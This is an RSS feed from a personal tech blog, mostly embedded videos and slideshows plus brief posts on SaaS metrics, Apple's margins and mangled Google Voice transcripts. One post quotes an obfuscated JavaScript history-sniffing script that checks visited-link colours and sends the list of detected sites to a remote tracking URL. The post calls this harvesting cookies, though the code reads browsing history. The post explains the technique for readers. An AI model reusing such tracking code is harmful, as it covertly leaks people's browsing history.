

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ron Diver &#187; Uncategorized</title>
	<atom:link href="http://www.rondiver.com/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rondiver.com</link>
	<description>Notes on technology, product strategy and miscellany.</description>
	<lastBuildDate>Wed, 20 Jul 2011 15:06:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>One Day on Earth</title>
		<link>http://www.rondiver.com/one-day-on-earth/</link>
		<comments>http://www.rondiver.com/one-day-on-earth/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 15:04:34 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=307</guid>
		<description><![CDATA[One Day on Earth &#8211; Motion Picture Trailer from One Day On Earth on Vimeo.]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p><iframe src="http://player.vimeo.com/video/26378195" width="400" height="300" frameborder="0"></iframe>
<p><a href="http://vimeo.com/26378195">One Day on Earth &#8211; Motion Picture Trailer</a> from <a href="http://vimeo.com/onedayonearth">One Day On Earth</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/one-day-on-earth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If Air Travel Worked Like Health Care.</title>
		<link>http://www.rondiver.com/if-air-travel-worked-like-health-care/</link>
		<comments>http://www.rondiver.com/if-air-travel-worked-like-health-care/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 17:58:47 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=305</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p><iframe width="560" height="349" src="http://www.youtube.com/embed/5J67xJKpB6c" frameborder="0" allowfullscreen></iframe></p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/if-air-travel-worked-like-health-care/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metrics, Pricing and Valuation for SaaS Businesses</title>
		<link>http://www.rondiver.com/metrics-pricing-and-valuation-for-saas-businesses/</link>
		<comments>http://www.rondiver.com/metrics-pricing-and-valuation-for-saas-businesses/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 14:34:40 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=300</guid>
		<description><![CDATA[Saas Math View more presentations from Mark MacLeod]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><div style="width:425px" id="__ss_8124420"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/startupcfo/saas-math" title="Saas Math">Saas Math</a></strong> <iframe src="http://www.slideshare.net/slideshow/embed_code/8124420" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<div style="padding:5px 0 12px"> View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/startupcfo">Mark MacLeod</a> </div>
</p></div>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/metrics-pricing-and-valuation-for-saas-businesses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Camera Fixed in the Heavens</title>
		<link>http://www.rondiver.com/camera-fixed-in-the-heavens/</link>
		<comments>http://www.rondiver.com/camera-fixed-in-the-heavens/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 20:16:30 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=297</guid>
		<description><![CDATA[&#160; Fix your camera to the  stars as the Earth rotates. &#160; &#160;]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p>&nbsp;</p>
<p>Fix your camera to the  stars as the Earth rotates.</p>
<p>&nbsp;<br />
<iframe width="560" height="349" src="http://www.youtube.com/embed/f1O66XsbrOA" frameborder="0" allowfullscreen></iframe><br />
&nbsp;</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/camera-fixed-in-the-heavens/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amazon: The Hidden Empire</title>
		<link>http://www.rondiver.com/amazon-the-hidden-empire/</link>
		<comments>http://www.rondiver.com/amazon-the-hidden-empire/#comments</comments>
		<pubDate>Thu, 12 May 2011 20:03:54 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=292</guid>
		<description><![CDATA[Amazon.com: the Hidden Empire View more presentations from faberNovel]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><div style="width:510px" id="__ss_7928875"> <strong style="display:block;margin:12px 0 4px"><a href="http://www.slideshare.net/faberNovel/amazoncom-the-hidden-empire" title="Amazon.com: the Hidden Empire">Amazon.com: the Hidden Empire</a></strong> <object id="__sse7928875" width="510" height="426"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=amazonwhitepaper-110511144038-phpapp01&#038;stripped_title=amazoncom-the-hidden-empire&#038;userName=faberNovel" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed name="__sse7928875" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=amazonwhitepaper-110511144038-phpapp01&#038;stripped_title=amazoncom-the-hidden-empire&#038;userName=faberNovel" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="510" height="426"></embed></object>
<div style="padding:5px 0 12px"> View more presentations from <a href="http://www.slideshare.net/faberNovel">faberNovel</a> </div>
</p></div>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/amazon-the-hidden-empire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>100 Things to Watch in 2011.</title>
		<link>http://www.rondiver.com/100-things-to-watch-in-2011/</link>
		<comments>http://www.rondiver.com/100-things-to-watch-in-2011/#comments</comments>
		<pubDate>Fri, 07 Jan 2011 20:38:17 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=289</guid>
		<description><![CDATA[Nothing to see here but nanobrews, the nail-polish economy, personal taste graphs, and Pedro Lourenco. JWT: 100 Things to Watch in 2011 View more presentations from JWTIntelligence.]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><div id="__ss_6306251" style="width: 425px;">Nothing to see here but nanobrews, the nail-polish economy, personal taste graphs, and Pedro Lourenco.</div>
<div style="width: 425px;"></div>
<div style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="JWT: 100 Things to Watch in 2011" href="http://www.slideshare.net/jwtintelligence/2f-100-things-to-watch-in-2011-6306251">JWT: 100 Things to Watch in 2011</a></strong><object id="__sse6306251" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=2f100thingstowatchin2011-101222142649-phpapp02&amp;stripped_title=2f-100-things-to-watch-in-2011-6306251&amp;userName=jwtintelligence" /><param name="name" value="__sse6306251" /><param name="allowfullscreen" value="true" /><embed id="__sse6306251" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=2f100thingstowatchin2011-101222142649-phpapp02&amp;stripped_title=2f-100-things-to-watch-in-2011-6306251&amp;userName=jwtintelligence" name="__sse6306251" allowscriptaccess="always" allowfullscreen="true"></embed></object></div>
<div id="__ss_6306251" style="width: 425px;">
<div style="padding: 5px 0 12px;">View more presentations from <a href="http://www.slideshare.net/jwtintelligence">JWTIntelligence</a>.</div>
</div>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/100-things-to-watch-in-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Voice Transcripts.</title>
		<link>http://www.rondiver.com/google-voice-transcripts/</link>
		<comments>http://www.rondiver.com/google-voice-transcripts/#comments</comments>
		<pubDate>Sun, 02 Jan 2011 06:49:11 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=283</guid>
		<description><![CDATA[Recent voicemails as transcribed by Google Voice. Thanks, Google. At first she was all: I am driving around with France and screaming about, and I couldn&#8217;t figure out there was plus. I got on didn&#8217;t have a turnaround, so I&#8217;m kind of way out middle of knowing that ten You know, a hair I, whether [...]]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p>Recent voicemails as transcribed by Google Voice. Thanks, Google.</p>
<p>At first she was all:</p>
<blockquote><p>I am driving around with France and screaming about, and I couldn&#8217;t figure out there was plus. I got on didn&#8217;t have a turnaround, so I&#8217;m kind of way out middle of knowing that ten You know, a hair I, whether it didn&#8217;t matter. I was just let me know you know So I&#8217;ll get that when I get there.</p></blockquote>
<p>But then:</p>
<blockquote><p>I&#8217;m in Houston and on the plane, a, at the best. Anderson, I, C. L. And  so, and I&#8217;ll have someone and they had you cuban sandwich from The at  all. So what&#8217;s really good Greek. A lot. I will be a lot in the next few  days. Hope you&#8217;re well.</p></blockquote>
<p>So I&#8217;m like:</p>
<blockquote><p>Thanks, hey hon, it&#8217;s raining. I&#8217;m. Not. By left me. The campsite. I was  just trying to get units opened up, but I will talk sounds like.</p></blockquote>
<p>Thanks to <a href="http://www.iseff.com/post/2558215327/hey-in-this-job-its-up-to-be-on-revolutions-to">Ian Sefferman</a> for the inspiration.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/google-voice-transcripts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is this YouPorn Javascript the new Firesheep?</title>
		<link>http://www.rondiver.com/youporn-iresheep/</link>
		<comments>http://www.rondiver.com/youporn-iresheep/#comments</comments>
		<pubDate>Wed, 08 Dec 2010 06:57:35 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=266</guid>
		<description><![CDATA[Are sites tagging you &#8220;Purple&#8221; based on your browser cookies? If you can stand the torture of reading Forbes.com, their article on how porn sites sniff users history is worth a read. The piece follows up on an earlier academic study on information flows in the adult-entertainment industry (gaming, sports, porn, etc). [Available here in [...]]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p><h2>Are sites tagging you &#8220;Purple&#8221; based on your browser cookies?</h2>
<p>If you can stand the torture of reading Forbes.com, <a href="http://blogs.forbes.com/kashmirhill/2010/11/30/history-sniffing-how-youporn-checks-what-other-porn-sites-youve-visited-and-ad-networks-test-the-quality-of-their-data/#">their article </a>on how porn sites sniff users history is worth a read. The piece follows up on an earlier academic study on information flows in the adult-entertainment industry (gaming, sports, porn, etc). [Available<a href="http://cseweb.ucsd.edu/%7Ed1jang/papers/ccs10.pdf"> here </a>in PDF format].</p>
<p>The nut is a script they use to harvest your cookies:</p>
<blockquote><p>&lt;script type=&#8221;text/javascript&#8221;&gt;<br />
function ypol(){var k={0:&#8221;qpsoivc/dpn&#8221;,1:&#8221;sfeuvcf/dpn&#8221;,2:&#8221;bevmugsjfoegjoefs/dpn&#8221;,3:<br />
&#8220;ywjefpt/dpn&#8221;,4:&#8221;uvcf9/dpn&#8221;,5:&#8221;yoyy/dpn&#8221;,6:&#8221;nfhbqpso/dpn&#8221;,7:&#8221;nfhbspujd/dpn&#8221;,8:<br />
&#8220;yibntufs/dpn&#8221;,9:&#8221;bxfnqjsf/dpn&#8221;,10:&#8221;sfbmjuzljoht/dpn&#8221;,11:&#8221;csb{{fst/dpn&#8221;,12:<br />
&#8220;yuvcf/dpn&#8221;,13:&#8221;cbohcspt2/dpn&#8221;,14:&#8221;gmjoh/dpn&#8221;,15:&#8221;gsffpoft/dpn&#8221;,16:<br />
&#8220;nzgsffqbztjuf/dpn&#8221;,17:&#8221;efcpobjscmph/dpn&#8221;,18:&#8221;qbztfswf/dpn&#8221;,19:&#8221;nbyqpso/dpn&#8221;,20:<br />
&#8220;wjefpt{/dpn&#8221;,21:&#8221;bfco/ofu&#8221;,22:&#8221;qpsopsbnb/dpn&#8221;};var g=[];for(var m in k)<br />
{var d=k[m];var a=&#8221;";for(var f=0;f&lt;d.length;f++)<br />
{a+=String.fromCharCode(d.charCodeAt(f)-1)}var h=false;for(var j in<br />
{&#8220;http://&#8221;:&#8221;",&#8221;http://www.&#8221;:&#8221;"}){var l=document.createElement(&#8220;a&#8221;);<br />
l.href=j+a;document.getElementById(&#8220;ol&#8221;).appendChild(l);var e=&#8221;";<br />
if(navigator.appName.indexOf(&#8220;Microsoft&#8221;)!=-1){e=l.currentStyle.color}<br />
else{e=document.defaultView.getComputedStyle(l,null).getPropertyValue(&#8220;color&#8221;)}<br />
if(e==&#8221;rgb(12, 34, 56)&#8221;||e==&#8221;rgb(12,34,56)&#8221;){h=true}}if(h){g.push(m)}}<br />
var b=(g instanceof Array)?g.join(&#8220;,&#8221;):&#8221;";var c=document.createElement(&#8220;img&#8221;);<br />
c.src=&#8221;http://ol.youporn.com/blank.gif?id=&#8221;+b;<br />
document.getElementById(&#8220;ol&#8221;).appendChild(c)}ypol();<br />
&lt;/script&gt;</p></blockquote>
<p>The strings referenced are -1 in alphabetical sequence&#8230; so “qpsoivc/dpn”, for example, becomes “pornhub.com.”</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/youporn-iresheep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mozilla Seabird Concept Phone</title>
		<link>http://www.rondiver.com/mozilla-seabird-concept-phone/</link>
		<comments>http://www.rondiver.com/mozilla-seabird-concept-phone/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 04:02:42 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=262</guid>
		<description><![CDATA[Billy May&#8217;s concept for the Seabird is lovely. If you&#8217;re really pressed for time jump to 1:16. Details on the Open Web Phone Project available on their blog.]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p>Billy May&#8217;s concept for the Seabird is lovely. If you&#8217;re really pressed for time jump to 1:16.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/TLMq0pyJ_lM?fs=1&amp;hl=en_US" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="385" src="http://www.youtube.com/v/TLMq0pyJ_lM?fs=1&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Details on the Open Web Phone Project available on <a href="http://mozphone.com/2010/09/23/mozilla-seabird/">their blog</a>.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/mozilla-seabird-concept-phone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The fruits of innovation.</title>
		<link>http://www.rondiver.com/the-fruits-of-innovation/</link>
		<comments>http://www.rondiver.com/the-fruits-of-innovation/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 23:36:32 +0000</pubDate>
		<dc:creator>Ron</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.rondiver.com/?p=249</guid>
		<description><![CDATA[When will Apple need to cut margins to fuel growth? Asymco highlights yet again the incredible yields Apple has been able to squeeze through innovation.  The gist of the article is that rapid growth in highly competitive markets is only possible if you eat into pricing and margins.  Apple has not (and probably will not) [...]]]></description>
			<content:encoded><![CDATA[<div class="ids_container" style="overflow: hidden;"><p><strong>When will Apple need to cut margins to fuel growth?</strong></p>
<p>Asymco highlights yet again the incredible yields Apple has been able to squeeze through innovation.  The gist of <a href="http://www.asymco.com/2010/09/07/will-apple-need-to-cut-margins-on-the-iphone/">the article</a> is that rapid growth in highly competitive markets is only possible if you eat into pricing and margins.  Apple has not (and probably will not) cut margins, ergo the market is not highly competitive.<a href="http://www.rondiver.com/wp-content/uploads/2010/09/Growth-and-Margin.png"><img class="alignright size-medium wp-image-250" title="Revenue growth rate &amp; Operating margin" src="http://www.rondiver.com/wp-content/uploads/2010/09/Growth-and-Margin-300x260.png" alt="" width="300" height="260" /></a></p>
<p>Over a recent four-year period, Apple spent $4.6 billion on R&amp;D while growing revenue from $25B to $43B. Microsoft spent 6+ times as much on R&amp;D, and it&#8217;s not like they&#8217;re minting a bunch of new billion dollar businesses. (<a title="source" href="http://www.businessinsider.com/apple-and-efficiently-growing-its-future-2010-5">source</a>) That&#8217;s crazy awesome capital efficiency.</p>
<p>.</p>
<p>.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.rondiver.com/the-fruits-of-innovation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

